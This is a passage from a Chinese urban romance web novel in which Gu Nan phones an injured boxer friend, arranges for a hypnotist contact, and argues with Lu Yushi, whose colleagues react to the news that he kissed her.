“我现在已经可以脑补出晚宴空无一人的场面了,亏钱就算了,毕竟亏不到我身上,但丢人呐,太丢人,想辞职。”
“想辞职?”
叶序郑重道:“辞职之前先钻进大老板的脑子,看看里面是不是长满了大蛀虫!”
顾楠神色一顿,抿嘴,无声骂回去——你脑子才长大蛀虫虫,你大蛀虫上长个脑袋。
“挂了。”
“欸,我的鹦鹉螺什么兑现?”
“下辈子。”
门外响起磕磕碰碰打扫卫生的声音,顾楠低头,暗忖,需要找个借口去北城。
漫无目的扒拉手机,万易的名字映入眼帘。
她沉吟一阵,怪不得总觉得最近耳边清静许多,万易好像很久没烦她了。
“兄弟,伤口恢复的怎么样?在哪呢?去看望你。”
万易:“辛苦您,我在医院趴了一个月,您老终于在我出院后的第一天想起我来了。”
顾楠敲敲手机:“要不你再回去住一天?”
“?”
顾楠一本正经推荐自己:“给我一个表现的机会。”
“就拿你处理不掉的辣条和奶片吗?”
“怎么?是橘子不够酸,你竟然不记得它。”
话落,手机对面传来布料摩挲声,随即一声轻“嘶”,万易说话时极力压抑住颤抖的声音:“找我什么事?”
几缕呻吟还是清晰通过语音传递过来。
顾楠诧异:“你大早上让人干了?”
万易深吸一口气,轻笑了笑,听起来心情不错:“帮我报仇?”
顾楠咂舌:“什么时候能改改自信的毛病。”
万易哼了声,没答腔。
过会又问:“出什么事了?”
顾楠:“没事不能找你唠唠嗑。”
万易嫌弃道:“你手机能翻到我们认识以来的沟通记录吗?你去看看,你主动找我的次数,和你找我有事的次数,是不是一比一。”
顾楠沉默着低头。
通话时长慢慢叠加。
万易等了一会,没等到回答,笑道:“在接受良心的谴责?”
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“在想你的仇家是不是没吃饱。这么能说,下手不够重啊。”
不知是不是幻听,顾楠揉揉耳朵,总觉得手机那头有磨牙的声音。
以及因疼痛而从喉间挤出的吸气声。
她面色微紧,万易长年混迹在拳击场,小伤小痛不断,他虽然有信心挑战所有冠军,但实力悬殊的情况下,他的自知之明比拳头出现的更及时,从不吃眼前亏。
是以,这些年也没受过太重的伤。
“给我个地址,明天去看你。”
万易顿了下,拒绝:“别了,以咱俩的交情,我怕你带着我仇家过来。”
“废话什么,地址。”
话落,对面毫无动静。
等了会,顾楠皱眉拿开手机,通话时间还在累计,只是对面的人没有开口。
她吐了口气,宣告耐心告罄。
不由分说打开笔记本,很快蓝色屏幕标记出一个红点。
“等着,明天找你。”
再次石沉大海。
略等两个喘息,万易还是没开口。
就在她怀疑万易是不是昏死过去的时候,终于听到人声。
“能不能帮我联系下J?”
“你失眠?”
“听说催眠后可以见到想见的人。”
顾楠想说,那是催眠,正经学习内容,能想见谁就见谁的叫致幻,那东西犯法,她不干。
但见万易情绪低落,她舔了舔嘴唇,咽下嘴边的话,爽快答应。
“行。”
答应万易容易,怎么让J合理出现在万易面前比较费脑细胞。
见别人大不了口罩墨镜一戴,和万易相处太久,随便一个动作都能暴露身份。
她在通讯录找了许久,翻到燕姐的电话,手指点在拨号键上方,半晌没拔出去。
燕姐背靠万家,但又不认识万易,看万易的反应,对燕姐似乎也没印象。
前思后想,总觉得不保险,随之放弃。
通讯录再次从头扒拉到尾部,找一个好糊弄或者好奇心不重,且这辈子和万易不可能有交集的女人,比想象中困难太多。
“咚咚咚。”
顾淑萍敲门。
“楠楠,起床了吗,早饭好了。”
顾楠高声回应:“我换衣服,这就来。”
褪下睡衣,小雏菊吊饰紧贴胸口,带来略微凉意。
她摩挲项链,眸光一闪有了主意。
手机切换系统,找到陆御时,拨去电话。
“急事,帮个忙,假J的联系方式发一下。”
对面沉默。
“大男人能不能别这么小肚鸡肠。”顾楠撇嘴,低声嘟囔:“难怪一把年纪了没人要。”
等了一会,还是没声音,顾楠拿过手机一看,早被挂断。
她被气笑,舌尖抵住后槽牙,再次拨出电话。
“给我联系方式,你亲我的事,我就当被狗咬了一口,不和你计较了。”
“没有。”
顾楠皱眉看着再次挂断的电话,不理解,她都这么大度了,陆御时听起来很生气?他一个占便宜的人,有什么资格生气!
陆氏集团高级部小会议室满屋人同样不理解,陆少看起来不像是会猥亵女孩的人,但觑他冷若冰霜的侧脸,似乎手机对面的女孩没有撒谎。
像是恼羞成怒?
“散会。”
邱景循咽了口唾沫,余光扫见孙千眼巴巴瞅着他,他递过去一个安心的眼神。
问:“你亲她了?”
“咳咳。”
孙千捶打胸口,努力咽下那口差点呛死自己的唾沫,眼前陆御时冷眼睨过来,他眼皮抖了下,幽怨地瞥了眼邱景循,默默起身,低声:“陆少,我先去取会议纪要。”
邱景循愣愣看着孙千溜之大吉,又见陆御时冷脸不说话,不可置信地提高嗓音:“你真亲她了?”